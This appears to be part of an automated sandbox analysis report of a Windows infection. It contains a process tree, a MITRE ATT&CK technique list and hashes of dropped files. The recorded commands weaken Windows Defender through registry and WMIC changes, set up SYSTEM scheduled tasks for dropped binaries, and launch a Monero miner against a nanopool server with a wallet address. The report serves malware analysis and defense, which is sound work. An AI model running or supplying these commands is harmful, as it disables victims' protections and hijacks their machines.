    schtasks /CREATE /TN "aNyMQclguOCSCcjxm" /SC once /ST 19:41:09 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\nlcUipsDcFbdntMB\BAkpiPiv\HGkjoLO.dll\",#1 /eNldidxxl 385118" /V1 /F
    3⤵
    - Creates scheduled task(s)
    PID:2636
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "aNyMQclguOCSCcjxm"
    3⤵
    PID:2140
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "yfARWRprRqUFWeTGf"
    3⤵
    PID:2056
- C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\PbVgkoeGEfQyDQK\cxhEJDg.exe
  C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\PbVgkoeGEfQyDQK\cxhEJDg.exe Wt /vEhdidYOFq 385118 /S
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  PID:540
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:2908
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
      4⤵
      PID:2980
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:1340
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        
        PID:1484
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
      4⤵
      PID:2652
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:2204
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        
        PID:1344
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
      4⤵
      PID:2928
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:2700
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        
        PID:2208
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
      4⤵
      PID:292
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:1040
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        
        PID:2960
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      PID:2348
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        
        PID:1916
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2904
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        7⤵
        
        PID:2488
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "yfARWRprRqUFWeTGf" /SC once /ST 03:55:07 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\vSMiLjQ.exe\" aV /gpBtdidkX 385118 /S" /V1 /F
    3⤵
    - Creates scheduled task(s)
    PID:1788
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "yfARWRprRqUFWeTGf"
    3⤵
    PID:1340
- C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\vSMiLjQ.exe
  C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\vSMiLjQ.exe aV /gpBtdidkX 385118 /S
  2⤵
  PID:2204
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:2700
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
      4⤵
      PID:1040
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:292
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        
        PID:2496
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
      4⤵
      PID:1972
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:2936
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        
        PID:804
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
      4⤵
      PID:2212
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:2904
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        
        PID:1916
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
      4⤵
      PID:2348
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:2344
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        
        PID:2812
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      PID:668
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        
        PID:1052
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:384
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        7⤵
        
        PID:1496
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "biPxHmULFllsbMgnpt"
    3⤵
    PID:2812
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
    3⤵
    PID:384
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
      4⤵
      PID:2928
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        
        PID:884
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2700
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        7⤵
        
        PID:2012
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
      4⤵
      PID:2652
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        5⤵
        
        PID:2056
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2196
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        7⤵
        
        PID:2380
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\zgoZGMcaU\XopPqo.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "JHJXtPPPvDXVqpH" /V1 /F
    3⤵
    - Creates scheduled task(s)
    PID:1820
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "JHJXtPPPvDXVqpH2" /F /xml "C:\Program Files (x86)\zgoZGMcaU\LMmNsGX.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2060
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /END /TN "JHJXtPPPvDXVqpH"
    3⤵
    PID:2664
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "JHJXtPPPvDXVqpH"
    3⤵
    PID:296
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "HtmGfIeJlxktuW" /F /xml "C:\Program Files (x86)\epoBtGYzqLvU2\yrljVZS.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1708
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "beuYBzgGTLbmn2" /F /xml "C:\ProgramData\pICeQFkDCDDquYVB\JIurBHK.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:884
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "ykYfCTTujiceFdOqI2" /F /xml "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\VsoDxiS.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:876
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "fWcEirOkMoMQjrUKaey2" /F /xml "C:\Program Files (x86)\ecOJmsgAHWlsC\PvlqbzW.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2020
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "yfARWRprRqUFWeTGf"
    3⤵
    PID:1244
- C:\Windows\system32\rundll32.EXE
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\nlcUipsDcFbdntMB\BAkpiPiv\HGkjoLO.dll",#1 /eNldidxxl 385118
  2⤵
  PID:3036
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\nlcUipsDcFbdntMB\BAkpiPiv\HGkjoLO.dll",#1 /eNldidxxl 385118
    3⤵
    PID:1788
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "aNyMQclguOCSCcjxm"
      4⤵
      PID:3064

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:668

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
PID:2124

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2169937871119894229-1616431977-291699414-817811249-17073593981978346511695778671"
1⤵
PID:2180

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1852513782-1216177052-10531394571966242845945184057-12700133991585354858749561792"
1⤵
PID:580

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2823151624585323742136318231616451400234495982-1087403955568065363-1077206531"
1⤵
PID:2304

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-315364797181679643-2072857400-231700147-16445199131633746543296228271-1243363675"
1⤵
PID:2768

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2069406099513545097-6427480211429334760-901652685-1281675339371282853-101776892"
1⤵
PID:1588

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-11211204211019547901414631300186997467674942223-17088191551501894043-562387913"
1⤵
PID:788

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1286480281781468786-1266129360-81649995381213007-298936880-1874091567-1766916313"
1⤵
PID:1756

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "7173467991304364463318665926690459127-1822388313-1703591643-1947563316-601686977"
1⤵
PID:1324

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "172189982410403468010136588146024058181534591315986078651830914724826981822"
1⤵
PID:2364

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "540143193-1002992081-2139536370-51867404-226515846629170853-1740867582-1612491663"
1⤵
PID:2392

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2076

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "3149444371107405235-2059320807-1466398383-1359793999-1805745657-477753039-882829799"
1⤵
PID:2712

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2012539554-1467615194-2021094975626586454-337010824-782668310-14755954681444282841"
1⤵
PID:2872

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1987825095-8988799351877128161-2062496569-21247898213276630691270954941-1287216288"
1⤵
PID:2104

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-19534246346331470601451977222-1899827991-1843614464-514782408-1678650222-1416245389"
1⤵
PID:2000

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1830075399852184860-813230375-1648356713-1384592835548465972-1039567470-100728444"
1⤵
PID:2980

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-706122141877710551157689474220132715771734120627-11462870501303119663-1337985165"
1⤵
PID:404

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-45992167257046927-72696887179567339314110517313058658121313589331427585135"
1⤵
PID:1404

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "20837683961459794007319450938-1711041225-269648101-1241379819-15225762351679502045"
1⤵
PID:2936

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "276614691-2190789411394123522162752647-1657728040-1251636416186919065739545516"
1⤵
PID:2668

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1047570736-1071054161882758754-40997124-1926703286-5879232921831028938-1125054840"
1⤵
PID:1160

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-987330187-3735478861719657261963249336-517774564-2130018940-960685052-246860142"
1⤵
PID:2928

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "29183353232983893727253761-4135083311371084233-1788060864-601578161160369360"
1⤵
PID:2200

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-582318324-169127545616004627548589113741982832451012152351088302937-1961897997"
1⤵
PID:2380

C:\Program Files (x86)\GameSyncLink\GameService.exe
"C:\Program Files (x86)\GameSyncLink\GameService.exe"
1⤵
PID:2908
- C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe
  "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
  2⤵
  PID:2532
- - C:\Windows\Temp\787671.exe
    "C:\Windows\Temp\787671.exe" --list-devices
    3⤵
    PID:2864

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "965415152-1068523458-83515190-347086174530981813-227727341-1777062224-880513545"
1⤵
PID:1664

C:\Program Files (x86)\GameSyncLink\GameService.exe
"C:\Program Files (x86)\GameSyncLink\GameService.exe"
1⤵
PID:1912
- C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe
  "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
  2⤵
  PID:2112

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "677297858270952647-4838473901108323332-71095841-7046348861813831527250693744"
1⤵
PID:1836

C:\Program Files (x86)\GameSyncLink\GameService.exe
"C:\Program Files (x86)\GameSyncLink\GameService.exe"
1⤵
PID:1884
- C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe
  "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
  2⤵
  PID:2884
- - C:\Windows\Temp\222667.exe
    "C:\Windows\Temp\222667.exe" --http-port 14343 -o xmr-eu1.nanopool.org:14433 -u 87jfV1GRtJdjaDGbwYhBKKfegvZtaZ8doB8utKXYrYM5dRZveCapx8tgypYfPB3RxogXSRwA21sQmJ7w2Uja2NGCFmwZBq8 --coin monero -t 1 --no-color --tls
    3⤵
    PID:1364

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1776131336-178192596210968810471174952215165648518337167222001921876-1378391443"
1⤵
PID:2496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\GameSyncLink\installc.bat

Filesize
301B

MD5
998ab24316795f67c26aca0f1b38c8ce

SHA1
a2a6dc94e08c086fe27f8c08cb8178e7a64f200d

SHA256
a468b43795f1083fb37b12787c5ff29f8117c26ac35af470084e00c48280442e

SHA512
7c9c2ade898a8defb6510ddd15730bec859d4474071eb6b8e8738ea6089764f81924ad2a6ebf0479d4fed7d61890edaa38f4bfbf70a4e6b30d33aa5bfc5b5c75

Download Submit
C:\Program Files (x86)\GameSyncLink\installg.bat

Filesize
284B

MD5
5dee3cbf941c5dbe36b54690b2a3c240

SHA1
82b9f1ad3ca523f3794e052f7e67ecdcd1ae87e1

SHA256
98370b86626b8fd7a7cac96693348045b081326c49e2421113f49a5ea3588edb

SHA512
9ee431d485e2f09268a22b287b0960859d2f22db8c7e61309a042999c436b3de74f5d75837b739e01122a796ad65bc6468d009ec6ddf4962f4ff288155410556

Download Submit
C:\Program Files (x86)\GameSyncLink\installm.bat

Filesize
218B

MD5
94b87b86dc338b8f0c4e5869496a8a35

SHA1
2584e6496d048068f61ac72f5c08b54ad08627c3

SHA256
2928d8e9a41f39d3802cfd2900d8edeb107666baa942d9c0ffbfd0234b5e5bfc

SHA512
b67eb73fe51d4dba990789f1e0123e902dac6d26569851c3d51ca0a575221ce317f973999d962669016017d8f81a01f11bd977609e66bb1b244334bce2db5d5d

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

Filesize
2.0MB

MD5
983322c37f2c0309a4dbe04d29f85eef

SHA1
3234af65ffc501909931dc785f949f49b3f6dfb9

SHA256
4bff093b5f90be72fd626a28579d8d4060b1b2a5c5e9aafdd744c310c0458c1a

SHA512
79a1968571234d39d70127dc09f05102ac212142fa46696c7905e53e1b25f3c3c9a0461a1ec63c2af93018447f0994586272316fa246b35347741a824eca7dfa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A

Filesize
893B

MD5
d4ae187b4574036c2d76b6df8a8c1a30

SHA1
b06f409fa14bab33cbaf4a37811b8740b624d9e5

SHA256
a2ce3a0fa7d2a833d1801e01ec48e35b70d84f3467cc9f8fab370386e13879c7

SHA512
1f44a360e8bb8ada22bc5bfe001f1babb4e72005a46bc2a94c33c4bd149ff256cce6f35d65ca4f7fc2a5b9e15494155449830d2809c8cf218d0b9196ec646b0c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
4d4968593feba6990195d0b95b80cc6f

SHA1
5782a6b2683e0a98fd2471d9cc81052638bd9f41

SHA256
d8f5da4836f1de4cf634c8776a1897bd17113709b0d8a8d45c6911d4ba3a40e0

SHA512
d604ec84ae59bba65cc0dab6dc5b180874d3f6efbb88fac0f7d584c84136ffb38e0a59779c8d136952bd0dae8ace42610d790e32f090a30afa5dc9ab171e8b45

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
b789916349297256c281431e33fda82c

SHA1
c9145856bb789006966bd0ac026ce5fba8d8e599

SHA256
331cbf1f7e4d7db16db5ef50b1001f01f571b8a176ac3f5148bf9b38ced001b4

SHA512
908c6112d3d0287c1276d719334cd6c3cb454d1073b801f6fccab88831e4ab1a87d34a080d5e0c1b348cc2474ec65699b776e115d5b3abf9a613a710f5068cbd

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
9dfc9d17dbef10f57b2d238c832f7410

SHA1
4cb45e26d085e58f6c0b78505aaaf86614f55e81

SHA256
809c389e51ced28e23e64834d86ffed5c3b5d30bc6c133516d24b97f4997296e

SHA512
e459249f7d181f3e9fd4a957467553aa7418b2f91c3d411f5b828665ece1d47c266745aaae7be3fd88c3ad209d579fd91dffcf38e0739b73199790005380869a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\es\messages.json

Filesize
151B

MD5
bd6b60b18aee6aaeb83b35c68fb48d88

SHA1
9b977a5fbf606d1104894e025e51ac28b56137c3

SHA256
b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

SHA512
